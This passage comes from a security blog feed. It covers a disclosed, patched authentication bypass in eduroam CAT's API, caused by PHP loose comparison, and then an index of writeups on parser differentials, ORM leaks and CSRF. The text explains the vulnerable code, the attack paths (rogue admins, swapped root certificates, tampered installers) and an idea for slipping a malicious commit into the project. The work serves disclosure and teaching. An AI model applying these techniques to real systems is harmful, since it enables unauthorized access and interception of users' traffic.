<p>Let’s uncover why this is happening. When the <code class="language-plaintext highlighter-rouge">==</code> sign is used in PHP, it performs loose comparisons. Meaning, PHP is not strict about the types of variables that are being compared.</p>

<p>Example 1:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">12</span> <span class="o">==</span> <span class="s2">"12wat?123"</span><span class="p">;</span> <span class="c1">// true</span>
</code></pre></div></div>

<p>This does not work in PHP 8. But when PHP 7.4 (the last PHP 7 version) and before sees we want to compare an integer to a string, it tries its best to turn the string into an integer. In this case, PHP strips the characters after “12” in the string. So, “12wat?123” becomes “12”. Then it says ‘Oh, this is the same as the number 12’. Therefore, the text “12wat?123” gets turned into the number 12 and then gets compared to the number 12. And we all know that 12 is equal to 12.</p>

<p>Example 2:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kc">true</span> <span class="o">==</span> <span class="s2">"asdf"</span><span class="p">;</span>  <span class="c1">// true</span>
</code></pre></div></div>

<p>This comparison evaluates to true in all PHP versions. When PHP sees this comparison, it tries to turn “asdf” into a boolean value as well. And the creators of PHP decided that a non-empty string should be turned into a boolean true instead of a boolean false. The string would’ve turned into a boolean false if it was empty. In other words, in PHP, the following check evaluates to true: <code class="language-plaintext highlighter-rouge">false == "";</code></p>

<p>In short, after PHP sees that we are comparing a boolean value to a non-empty string, it turns the string into a boolean true value and performs the comparison. And we know that “true ∧ true = true”. So, the comparison evaluates to true.</p>

<p>Example 3:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">"abcd"</span> <span class="n">is</span> <span class="n">not</span> <span class="n">equal</span> <span class="n">to</span> <span class="s2">"abce"</span><span class="p">;</span> 
</code></pre></div></div>

<p>When PHP compares two values of the same type, it does not perform type juggling. Type juggling is only relevant when comparison between 2 different variable types is performed.</p>

<h2 id="crafting-a-poc">Crafting a PoC</h2>

<p>Now that we understand type juggling, we can try to see if we can exploit it’s behavior in our case. Well, I’m being dramatic here. Of course we can. To demonstrate this, I created the following PoC and successfully authenticated to the NRO API:</p>

<p><img src="/assets/images/2026-01-07-how_I_discovered_an_authentication_bypass_vulnerability_in_Eduroam/poc.png" alt="poc" /></p>

<h1 id="impact">Impact</h1>

<h2 id="what-just-happened">What Just Happened?</h2>

<p>Okay, we are authenticated now. But as who? Well, if we look at the vulnerable code again we see that the for(each) loop is assigning the <code class="language-plaintext highlighter-rouge">$federation</code> variable to the value stored in <code class="language-plaintext highlighter-rouge">$fed_name</code> which is the federation corresponding to the <code class="language-plaintext highlighter-rouge">$key</code> (the API key).</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$inputRaw</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'php://input'</span><span class="p">);</span>
<span class="nv">$inputDecoded</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$inputRaw</span><span class="p">,</span> <span class="kc">TRUE</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$inputDecoded</span><span class="p">))</span> <span class="p">{</span>
    <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">returnError</span><span class="p">(</span><span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">ERROR_MALFORMED_REQUEST</span><span class="p">,</span> <span class="s2">"Unable to decode JSON POST data."</span> <span class="mf">.</span> <span class="nb">json_last_error_msg</span><span class="p">()</span> <span class="mf">.</span> <span class="nv">$inputRaw</span><span class="p">);</span>
    <span class="k">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="nv">$checkval</span> <span class="o">=</span> <span class="s2">"FAIL"</span><span class="p">;</span>

<span class="k">foreach</span> <span class="p">(</span><span class="err">\</span><span class="nc">config\ConfAssistant</span><span class="o">::</span><span class="no">CONSORTIUM</span><span class="p">[</span><span class="s1">'registration_API_keys'</span><span class="p">]</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$fed_name</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$inputDecoded</span><span class="p">[</span><span class="s1">'APIKEY'</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$key</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$mode</span> <span class="o">=</span> <span class="s2">"API"</span><span class="p">;</span>
        <span class="nv">$federation</span> <span class="o">=</span> <span class="nv">$fed_name</span><span class="p">;</span>
        <span class="nv">$checkval</span> <span class="o">=</span> <span class="s2">"OK-NEW"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="nv">$checkval</span> <span class="o">==</span> <span class="s2">"FAIL"</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">returnError</span><span class="p">(</span><span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">ERROR_INVALID_APIKEY</span><span class="p">,</span> <span class="s2">"APIKEY is invalid"</span><span class="p">);</span>
    <span class="k">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here’s a diagram that shows the logic flow visually, though not aesthetically.</p>

<p><img src="/assets/images/2026-01-07-how_I_discovered_an_authentication_bypass_vulnerability_in_Eduroam/auth_diagram.png" alt="auth-flow" /></p>

<p>Did you notice that the code does not stop when the line <code class="language-plaintext highlighter-rouge">if (inputDecoded['APIKEY'] == key) {</code> returns true? The lack of a <code class="language-plaintext highlighter-rouge">break</code> statement in the code means our PoC caused the code to return true but in the first iteration but the code kept checking for the next value in the list until the end of the list. When it reached the end of the list, it assigned <code class="language-plaintext highlighter-rouge">$fed_name</code> to <code class="language-plaintext highlighter-rouge">$federation</code> one last time and exited the loop. Which means we now have NRO level access to the federation that is at the end of <code class="language-plaintext highlighter-rouge">registration_API_keys</code>. Which federation is that? Well, I’ll just say it’s a <em>very</em> important one. I actually suprised my that this federation was at the end. Because if the developers updated this list for each new federation, a country that joined Eduroam late like Algeria would be at the end of the list. But maybe they don’t update the list for every federation, maybe they add new federations to the beginning, or maybe there are multiple NROs per federation with different API keys so that when someone gets hired as an NRO, they receive a new API key which gets put at the end of the list. Who knows…</p>

<p>Btw, CAT accepts contributions to the Eduroam CAT open-source project [4.0]. Meaning, an attacker with a bit of creativity could make a contribution to add a <code class="language-plaintext highlighter-rouge">break</code> statement in the for(each) loop for “optimization” to gain access to the first federation in the list as well. OR, an attacker could propose a change to make the $federation variable a list so that a single API key could be used to access multiple federations. This would be a legitimate use case for the scenario where one person is responsible for managing multiple federations. If this change happened, an attacker would’ve gained access to all of the federations in the <code class="language-plaintext highlighter-rouge">registration_API_keys</code> list. What do you think? Would this be possible? It really makes you question if a benign-looking commit is really benign or instead a clever setup.</p>

<p>[4.0] https://github.com/GEANT/CAT/pulls?q=is%3Apr+is%3Aclosed</p>

<h2 id="what-is-the-impact">What is the Impact?</h2>

<p>This is where things get a bit more hypothetical. But I’d like to briefly discuss the capabilities that the NRO API provides to show the impact of the vulnerability. The file [5.0] serves as a (somewhat technical) documentation for the NRO API. In that file, you can see descriptions of actions that the NRO API provides. For example, the below code snippet is the description of the DATADUMP-FED action we used for the PoC.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cd">/**
     * Dumps all configured information about IdPs in the federation
     */</span>
    <span class="k">const</span> <span class="no">ACTION_FEDERATION_LISTIDP</span> <span class="o">=</span> <span class="s2">"DATADUMP-FED"</span><span class="p">;</span>
</code></pre></div></div>

<p>Besides read level access, the API also allows write level and even delete level actions (your regular CRUD). The most interesting option for me was the following which allowed creating new IdP admins for a given institution. This is interesting because, as discussed earler, federation admins cannot administer IdPs (educational insitutions, universities etc.) directly. But this code tells us that they can create other users that can administer any IdP in their federation using this API.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cd">/**
     * This action creates a new invitation token for administering an existing
     * institution. The invitation can be sent directly via mail, or the sign-up
     * token can be returned in the API response for the caller to hand it out.
     */</span>
    <span class="k">const</span> <span class="no">ACTION_ADMIN_ADD</span> <span class="o">=</span> <span class="s2">"ADMIN-ADD"</span><span class="p">;</span>
</code></pre></div></div>

<p>If we look at the code where the <code class="language-plaintext highlighter-rouge">ACTION_ADMIN_ADD</code> variable is used [5.1] we see that it has 3 parameters; an institution ID, an admin ID, and an optional email address to send the invitation to. You can see this in the below code. <code class="language-plaintext highlighter-rouge">$adminApi-&gt;firstParameterInstance()</code> is used to check if certain parameters exist.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">case</span> <span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">ACTION_ADMIN_ADD</span><span class="o">:</span>
        <span class="c1">// IdP in question</span>
        <span class="k">try</span> <span class="p">{</span>
            <span class="nv">$idp</span> <span class="o">=</span> <span class="nv">$validator</span><span class="o">-&gt;</span><span class="nf">existingIdP</span><span class="p">(</span><span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">firstParameterInstance</span><span class="p">(</span><span class="nv">$scrubbedParameters</span><span class="p">,</span> <span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">AUXATTRIB_CAT_INST_ID</span><span class="p">),</span> <span class="kc">NULL</span><span class="p">,</span> <span class="nv">$fed</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
            <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">returnError</span><span class="p">(</span><span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">ERROR_INVALID_PARAMETER</span><span class="p">,</span> <span class="s2">"IdP identifier does not exist!"</span><span class="p">);</span>
            <span class="k">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="c1">// here is the token</span>
        <span class="nv">$mgmt</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">core\UserManagement</span><span class="p">();</span>
        <span class="c1">// we know we have an admin ID but scrutinizer wants this checked more explicitly</span>
        <span class="nv">$admin</span> <span class="o">=</span> <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">firstParameterInstance</span><span class="p">(</span><span class="nv">$scrubbedParameters</span><span class="p">,</span> <span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">AUXATTRIB_ADMINID</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nv">$admin</span> <span class="o">===</span> <span class="kc">FALSE</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"A required parameter is missing, and this wasn't caught earlier?!"</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="nv">$newtokens</span> <span class="o">=</span> <span class="nv">$mgmt</span><span class="o">-&gt;</span><span class="nf">createTokens</span><span class="p">(</span><span class="kc">true</span><span class="p">,</span> <span class="p">[</span><span class="nv">$admin</span><span class="p">],</span> <span class="nv">$idp</span><span class="p">);</span>
        <span class="nv">$URL</span> <span class="o">=</span> <span class="s2">"https://"</span> <span class="mf">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'SERVER_NAME'</span><span class="p">]</span> <span class="mf">.</span> <span class="nb">dirname</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'SCRIPT_NAME'</span><span class="p">])</span> <span class="mf">.</span> <span class="s2">"/action_enrollment.php?token="</span> <span class="mf">.</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nv">$newtokens</span><span class="p">)[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nv">$success</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"TOKEN URL"</span> <span class="o">=&gt;</span> <span class="nv">$URL</span><span class="p">,</span> <span class="s2">"TOKEN"</span> <span class="o">=&gt;</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nv">$newtokens</span><span class="p">)[</span><span class="mi">0</span><span class="p">]];</span>
        <span class="c1">// done with the essentials - display in response. But if we also have an email address, send it there</span>
        <span class="nv">$email</span> <span class="o">=</span> <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">firstParameterInstance</span><span class="p">(</span><span class="nv">$scrubbedParameters</span><span class="p">,</span> <span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">AUXATTRIB_TARGETMAIL</span><span class="p">);</span>
</code></pre></div></div>

<p>I knew that the institution ID (AUXATTRIB_CAT_INST_ID) was public information so this wasn’t a problem. But when I saw the admin ID (AUXATTRIB_ADMINID) was being checked, I thought that the “scrutinizer” that was mentioned in the code had screwed me over. However, when I looked at how the provided admin ID was being used [5.2] inside <code class="language-plaintext highlighter-rouge">createTokens()</code>, I noticed that it was just the email address (or the username) which would be granted access to the given federation. This email address can be any Gmail access as Eduroam allows SSO with Google! [5.3]</p>

<p>So, what can an IdP admin do? By reading the documentation [5.4] we can see they can perform many actions including adding and removing user credentials if a Managed IdP profile is used [5.5], replacing RADIUS server root CA certificates that installers (the Eduroam configuration scripts) download, [5.6] or changing the link to an installer that are downloaded by end users [5.7]. The last 2 are are very interesting to an attacker.</p>

<p>Replacing RADIUS certificates could allow an attacker to impersonate other identities such as RADIUS servers to steal RADIUS credentials (unless EAP-TLS is in use which can be changed through CAT administration utilities [5.8]). What makes this attack scenario even more interesting is that according to the documentation “On the client OSes, all root CAs will be installed and all will be marked trusted. In Windows such certificates also become trusted for all purposes, not just WiFi” [5.9]. This behavior is because of the fact that Eduroam CAT installs said certificates to the system certificate store. This means that an attacker could make browsers on Windows devices trust an attacker’s google.com instead of the real google.com to perform a MITM attack that allows them to decrypt the almighty TLS traffic and impersonate webpages. This is how TLS inspection is done [5.10]. Of course, the attacker would need to find a way to perform a MITM attack but doing so is trivially achievable via an evil twin attack or just a rogue free WiFi point. Sadly, this could also be used maliciously by insitutions to spy on their students/employees. I’m not sure if this goes for Linux too. I think the default Linux browser for most distros, Firefox, tries not to use system certificates and relies on things like Mozilla’s certificate store while some Linux distributions override this behavior to use the system certificate store instead.</p>

<p>In the second scenario, changing an installer would allow an attacker to redirect users to a modified version of the installer which could lead to remote code execution and total control of an end user’s device.</p>

<p>[5.0] https://github.com/GEANT/CAT/blob/222a3237f413749ebf93a20c38a828d66e434827/web/lib/admin/API.php#L1</p>

<p>[5.1] https://github.com/GEANT/CAT/blob/222a3237f413749ebf93a20c38a828d66e434827/web/admin/API.php#L131</p>

<p>[5.2] https://github.com/GEANT/CAT/blob/222a3237f413749ebf93a20c38a828d66e434827/core/UserManagement.php#L289</p>

<p>[5.3] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2#AguidetoeduroamCATforIdPadministratorsver.2.2-Step2%3AHowtologintoeduroamCAT%3F</p>

<p>[5.4] https://wiki.geant.org/spaces/H2eduroam/pages/121346267/A+guide+to+eduroam+CAT+for+IdP+administrators#AguidetoeduroamCATforIdPadministrators-Generatinginstallersformyusers</p>

<p>[5.5] https://wiki.geant.org/spaces/H2eduroam/pages/121346281/A+guide+to+eduroam+Managed+IdP+for+IdP+administrators#AguidetoeduroamManagedIdPforIdPadministrators-Managingmyusers</p>

<p>[5.6] https://wiki.geant.org/spaces/H2eduroam/pages/121346267/A+guide+to+eduroam+CAT+for+IdP+administrators#AguidetoeduroamCATforIdPadministrators-ReplacingtheRADIUSserverrootCAcertificate</p>

<p>[5.7] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2#AguidetoeduroamCATforIdPadministratorsver.2.2-Generatinginstallersformyusers</p>

<p>[5.8] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2#AguidetoeduroamCATforIdPadministratorsver.2.2-Profiles</p>

<p>[5.9] https://wiki.geant.org/spaces/H2eduroam/pages/1100742977/A+guide+to+eduroam+CAT+for+IdP+administrators+ver.+2.2</p>

<p>[5.10] https://support.catonetworks.com/hc/en-us/articles/4416504789393-Installing-the-Root-Certificate-for-TLS-Inspection</p>

<h1 id="disclosure">Disclosure</h1>

<p>This vulnerability was patched in commit 94949b4a7a119e3f523be4c623218076757129f7 [6.0]</p>

<p>[6.0] https://github.com/GEANT/CAT/commit/94949b4a7a119e3f523be4c623218076757129f7</p>

<h1 id="conclusion">Conclusion</h1>

<p>The finding in this blog post demonstrates the importance of dedicated security testing. By examining the application’s code and behavior, I identified a flaw that allowed unauthorized access at the National Roaming Operator level. This issue could’ve had serious consequences if left unaddressed.</p>

<p>This shows that software security should never be taken for granted. Especially the tools we rely on daily require continuous testing to ensure security. Although the vulnerability was responsibly disclosed and patched, it serves as a reminder that even widely trusted aplications can contain weaknesses when continuous security testing is overlooked. As systems grow more complex, security must be treated as an ongoing responsibility, with consistent attention to best practices to maintain trust and protect users.</p>

<h1 id="closing-and-thanks">Closing and Thanks</h1>

<p>Huge thanks to everyone who was part of the process that led to this post being published. I decided not to give any names because you never know in this world ¯\*(ツ)*/¯. That said, I really appreciate everyone; my coach, my teachers, and others who took the time to review my work and help me move through the disclosure process. And a special shout-out to the folks who build and maintain Eduroam for such an awesome project!</p>

<p>And this is probably where I should mention for the more technical audience that although I was initially looking for the low hanging fruit, I also tested for other vectors such the potential exposure of SMTP credentials because of an email lookup functionality where I should commend the developers for realising the potential problem and preventing it with a workaround. I’ll leave it to you to find out what the attack vector was how it was prevented.</p>

<p>And that’s it! Hope you enjoyed my first blog post and found something useful in it. If you have questions, criticisms or if you just want to reach out, you’d know how to find my contact details. And just in case, I’ll leave you with this <a href="https://www.youtube.com/watch?v=cBm-8E4dyNI&amp;list=RDcBm-8E4dyNI&amp;start_radio=1">playlist</a> to optimally enhance the quotient of your post-engagement gratification 🙂</p>

<p>EOF</p>]]></content><author><name>By Ad0n</name></author><category term="articles" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Index of Cybersecurity Writeups</title><link href="https://dogru-isim.github.io/articles/2025/12/21/index_of_writeups.html" rel="alternate" type="text/html" title="Index of Cybersecurity Writeups" /><published>2025-12-21T00:00:00+00:00</published><updated>2025-12-21T00:00:00+00:00</updated><id>https://dogru-isim.github.io/articles/2025/12/21/index_of_writeups</id><content type="html" xml:base="https://dogru-isim.github.io/articles/2025/12/21/index_of_writeups.html"><![CDATA[<p>Personal notes, for the public.</p>

<h1 id="general">General</h1>

<h2 id="programming-language-specific-quirks">Programming Language Specific Quirks</h2>

<h3 id="go">Go</h3>
<ol>
  <li>
    <p>Common Go Mistakes<br />
Link: <a href="https://100go.co/">Common Go Mistakes</a><br />
Generic Go mistakes with example code (that can cause security bugs of course)<br /></p>
  </li>
  <li>
    <p>Unexpected Security Footguns in Go Parsers<br />
Link: <a href="https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/">Unexpected Security Footguns in Go Parsers</a><br />
Security problems that can arise from unexpected parser behaviors in Go<br /></p>
  </li>
</ol>

<h2 id="interoperability-vulnerabilities">Interoperability Vulnerabilities</h2>

<h3 id="parser-differentials">Parser Differentials</h3>

<p><strong>1. Bypassing SAML Authentication by Abusing Parser Differentials</strong>
Link: <a href="https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/">Bypassing SAML Authentication by Abusing Parser Differentials</a><br />
A very technical writeup that illustrates how we can abuse Parser Differentials. Goes deep into SAML, XML, and signatures.
This is a nice read about abusing software schemes that read the same data using 2 different implementations. (interoperability vulnerabilities)
Featuring:</p>
<ul>
  <li>Unicode normalization</li>
  <li>Parser Differentials (discrepancies)</li>
  <li>Developer Pitfalls</li>
  <li>Case Insensitivity</li>
  <li>Data Format Confusion</li>
</ul>

<p><strong>2. How to Exploit Parser Differentials by Gitlab</strong>
Link: <a href="https://about.gitlab.com/blog/how-to-exploit-parser-differentials/">How to Exploit Parser Differentials</a>
It’s about parser differentials, its by Gitlab, it must be guud.</p>

<h1 id="vulnerability-types">Vulnerability Types</h1>

<h2 id="vulnerability-type-orm-leak">Vulnerability Type: ORM Leak</h2>

<p><strong>1. Ransacking Your Password Reset Tokens</strong>
Link: <a href="https://positive.security/blog/ransack-data-exfiltration">Ransacking Your Password Reset Tokens</a>
One of the first articles about ORM leaks; an ORM leak vulnerability in the Ruby library “Ransack”</p>

<p><strong>2. Plorming Your Django ORM</strong>
Link: <a href="https://www.elttam.com/blog/plormbing-your-django-orm/">Plorming Your Django ORM</a></p>

<h3 id="ruby">Ruby</h3>
<p><strong>1) Curated list of Ruby on Rails vulnerabilities by Brakeman</strong></p>

<p>Link: <a href="https://brakemanscanner.org/docs/warning_types/">Brakeman Warning Types</a></p>

<p>Great resource to learn about new vulnerability types and how they can emerge.
It’s original purpose is to document the warnings that the Brakeman static analysis tool gives.</p>

<p><strong>2) (Non-Complete) list of code patterns that can cause SQLi (ORMi) in Rails applications</strong></p>

<p>Link: <a href="https://rails-sqli.org/">Rails SQLi</a></p>

<p>Found this resource while investigating CVE-2021-43830. The subtle behavior in the <code class="language-plaintext highlighter-rouge">exists</code> method had to be documented somewhere…</p>

<h2 id="vulnerability-type-path-traversal">Vulnerability Type: Path Traversal</h2>

<h3 id="learning-sources">Learning Sources</h3>

<ol>
  <li>Traversal-resistant File APIs in Go by Damien Neil<br />
Link: <a href="https://go.dev/blog/osroot">Traversal-resistant File APIs</a><br />
How to cause path traversal and how to defend against them<br /></li>
</ol>

<h2 id="vulnerability-type-csrf">Vulnerability Type: CSRF</h2>

<h3 id="case-studies">Case Studies</h3>

<h4 id="1-grafana-csrf">1. Grafana CSRF</h4>

<h5 id="a-csrf-in-grafana">a) CSRF in Grafana</h5>
<p>Link: <a href="https://jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/">CSRF in Grafana</a><br /></p>

<p>Key points:</p>

<ol>
  <li>
    <p>Grafana doesn’t support CORS</p>
  </li>
  <li>
    <p>Grafana admins might set <code class="language-plaintext highlighter-rouge">cookie_samesite</code> to <code class="language-plaintext highlighter-rouge">none</code> because of point 1.</p>
  </li>
  <li>
    <p>Safari doesn’t set SameSite to Lax unlike other browsers</p>
  </li>
  <li>
    <p>attacker.example.com exploit CSRF on victim.example.com even with SameSite set</p>
  </li>
  <li>
    <p>Browsers perform <code class="language-plaintext highlighter-rouge">CORS preflight</code> to determine CORS settings for some requests</p>
  </li>
  <li>
    <p>A request with <code class="language-plaintext highlighter-rouge">Content-Type: application/json</code> is enough to trigger point 6.</p>
  </li>
</ol>

<p>ROOT CAUSE: CORS is triggered if the “essence” of the MIME type is:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">application/x-www-form-urlencoded</code>,</li>
  <li><code class="language-plaintext highlighter-rouge">multipart/form-data</code>, or</li>
  <li><code class="language-plaintext highlighter-rouge">text/plain</code></li>
</ul>

<p>BUT, if the server checks the MIME type poorly, it can interpret <code class="language-plaintext highlighter-rouge">text/plain; application/json</code> as a JSON MIME type.</p>

<p>The poor MIME type check:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">bind</span><span class="p">(</span><span class="n">ctx</span> <span class="o">*</span><span class="n">macaron</span><span class="o">.</span><span class="n">Context</span><span class="p">,</span> <span class="n">obj</span> <span class="k">interface</span><span class="p">{},</span> <span class="n">ifacePtr</span> <span class="o">...</span><span class="k">interface</span><span class="p">{})</span> <span class="p">{</span>
  <span class="n">contentType</span> <span class="o">:=</span> <span class="n">ctx</span><span class="o">.</span><span class="n">Req</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"Content-Type"</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">ctx</span><span class="o">.</span><span class="n">Req</span><span class="o">.</span><span class="n">Method</span> <span class="o">==</span> <span class="s">"POST"</span> <span class="o">||</span> <span class="n">ctx</span><span class="o">.</span><span class="n">Req</span><span class="o">.</span><span class="n">Method</span> <span class="o">==</span> <span class="s">"PUT"</span> <span class="o">||</span> <span class="nb">len</span><span class="p">(</span><span class="n">contentType</span><span class="p">)</span> <span class="o">&gt;</span> <span class="m">0</span> <span class="p">{</span>
    <span class="k">switch</span> <span class="p">{</span>
    <span class="k">case</span> <span class="n">strings</span><span class="o">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">contentType</span><span class="p">,</span> <span class="s">"form-urlencoded"</span><span class="p">)</span><span class="o">:</span>
      <span class="n">ctx</span><span class="o">.</span><span class="n">Invoke</span><span class="p">(</span><span class="n">Form</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">ifacePtr</span><span class="o">...</span><span class="p">))</span>
    <span class="k">case</span> <span class="n">strings</span><span class="o">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">contentType</span><span class="p">,</span> <span class="s">"multipart/form-data"</span><span class="p">)</span><span class="o">:</span>
      <span class="n">ctx</span><span class="o">.</span><span class="n">Invoke</span><span class="p">(</span><span class="n">MultipartForm</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">ifacePtr</span><span class="o">...</span><span class="p">))</span>
    <span class="k">case</span> <span class="n">strings</span><span class="o">.</span><span class="n">Contains</span><span class="p">(</span><span class="n">contentType</span><span class="p">,</span> <span class="s">"json"</span><span class="p">)</span><span class="o">:</span> <span class="c">// strings.Contains = BAD</span>
      <span class="n">ctx</span><span class="o">.</span><span class="n">Invoke</span><span class="p">(</span><span class="n">Json</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">ifacePtr</span><span class="o">...</span><span class="p">))</span>
    <span class="k">default</span><span class="o">:</span>
      <span class="k">var</span> <span class="n">errors</span> <span class="n">Errors</span>
      <span class="k">if</span> <span class="n">contentType</span> <span class="o">==</span> <span class="s">""</span> <span class="p">{</span>
        <span class="n">errors</span><span class="o">.</span><span class="n">Add</span><span class="p">([]</span><span class="kt">string</span><span class="p">{},</span> <span class="n">ERR_CONTENT_TYPE</span><span class="p">,</span> <span class="s">"Empty Content-Type"</span><span class="p">)</span>
      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">errors</span><span class="o">.</span><span class="n">Add</span><span class="p">([]</span><span class="kt">string</span><span class="p">{},</span> <span class="n">ERR_CONTENT_TYPE</span><span class="p">,</span> <span class="s">"Unsupported Content-Type"</span><span class="p">)</span>
      <span class="p">}</span>
      <span class="n">ctx</span><span class="o">.</span><span class="n">Map</span><span class="p">(</span><span class="n">errors</span><span class="p">)</span>
      <span class="n">ctx</span><span class="o">.</span><span class="n">Map</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span> <span class="c">// Map a fake struct so handler won't panic.</span>
    <span class="p">}</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">ctx</span><span class="o">.</span><span class="n">Invoke</span><span class="p">(</span><span class="n">Form</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">ifacePtr</span><span class="o">...</span><span class="p">))</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>    This code is the main weakness because:</p>

<p>        1. Grafana requires <code class="language-plaintext highlighter-rouge">application/json</code>, browsers perform CORS preflight.</p>

<p>        2. CSRF can’t be performed because Grafana doesn’t respond to CORS preflight. No strict CSRF token checks.</p>

<p>        3. Attacker sends <code class="language-plaintext highlighter-rouge">plain/text; application/json</code> as Content-Type, browser interprets <code class="language-plaintext highlighter-rouge">application/json</code> as a parameter of the essence (application/text).</p>

<p>        4. When Grafana receives the Content-Type, it thinks the request is <code class="language-plaintext highlighter-rouge">application/json</code>.</p>

<p>        5. CORS preflight was not sent because browser sent <code class="language-plaintext highlighter-rouge">plain/text</code>, Grafana thought it received <code class="language-plaintext highlighter-rouge">application/json</code> because of the poor MIME type checker. CSRF was possible because the attacker website can be from the same origin (attacker.example.com grafana.example.com) or SameSite might have been set to none or the user might be using Safari. (and of course Grafana doesn’t have an anti-CSRF token)</p>

<h4 id="2-github-csrf">2. GitHub CSRF</h4>
<p>Link: https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html</p>

<p>CSRF in GitHub’s OAuth implementation. The problem is caused by the fact that Rails (and some other frameworks) treats HEAD requests as GET requests during routing. This means, that HEAD requests are passed to the same controller as GET requests would. Example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># In the router

match "/login/oauth/authorize", # For every request with this path...
  :to =&gt; "[the controller]", # ...send it to the controller...
  :via =&gt; [:get, :post] # ... as long as it's a GET or a POST request. (or a HEAD request :wink:)

# In the controller

if request.get?
  # serve authorization page HTML
else
  # grant permissions to app (POST request logic)
end
</code></pre></div></div>

<p>This becomes a problem if the controller does not explicitly check if the incoming request is a POST request like above. Many routes are implement in a way that allows a single path in a URL to perform different actions based on the POST. This behavior is made possible with controller level checks like above.</p>

<p>GitHub requires POST requests to have a CSRF token to prevent CSRF attacks. This happens in a middleware I believe, it cannot be in the controller otherwise this vulnerability wouldn’t be possible. The writer doesn’t say where this check happens (edit: it’s Rails’ default CSRF protection), but when a HEAD request reaches the above controller, it gets treated as a POST request that checks the middleware that requires CSRF token in POST requests. It doesn’t bypass the authentication middleware, I think, because the GET request also requires authentication. But there is a possibility that POST requests require authentication and GET request do not. This could make it possible to even bypass authentication. (GET and HEAD requests can have a body too, and this body would get processed in the POST request logic.)</p>

<p>updated: Dec 24, 2025</p>]]></content><author><name>By Ad0n</name></author><category term="articles" /><summary type="html"><![CDATA[]]></summary></entry></feed>